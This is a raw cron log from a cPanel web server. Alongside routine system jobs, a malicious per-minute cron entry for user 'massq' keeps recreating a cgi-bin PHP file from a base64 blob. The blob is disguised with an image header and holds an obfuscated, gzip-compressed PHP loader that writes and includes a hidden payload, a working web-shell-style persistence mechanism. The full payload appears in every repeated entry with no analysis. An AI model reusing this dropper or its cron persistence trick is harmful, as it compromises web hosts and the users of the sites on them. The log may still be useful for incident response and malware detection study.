Nov 12 02:59:01 server CROND[16118]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:00:01 server CROND[16949]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 03:00:01 server CROND[16950]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 03:00:01 server CROND[16953]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 03:00:01 server CROND[16954]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:01:01 server CROND[17889]: (root) CMD (run-parts /etc/cron.hourly)
Nov 12 03:01:01 server CROND[17890]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:01:01 server run-parts(/etc/cron.hourly)[17889]: starting 0anacron
Nov 12 03:01:01 server anacron[17902]: Anacron started on 2025-11-12
Nov 12 03:01:01 server anacron[17902]: Will run job `cron.daily' in 40 min.
Nov 12 03:01:01 server anacron[17902]: Jobs will be executed sequentially
Nov 12 03:01:01 server run-parts(/etc/cron.hourly)[17904]: finished 0anacron
Nov 12 03:02:01 server CROND[18727]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:03:01 server CROND[19543]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:04:01 server CROND[20463]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:05:01 server CROND[21272]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 03:05:01 server CROND[21271]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:05:01 server CROND[21274]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 03:05:01 server CROND[21273]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 03:06:01 server CROND[22205]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:07:01 server CROND[23033]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:08:01 server CROND[23849]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:09:01 server CROND[24827]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 03:09:01 server CROND[24828]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:10:01 server CROND[25408]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:10:01 server CROND[25410]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 03:10:01 server CROND[25409]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 03:10:01 server CROND[25411]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 03:11:01 server CROND[25771]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
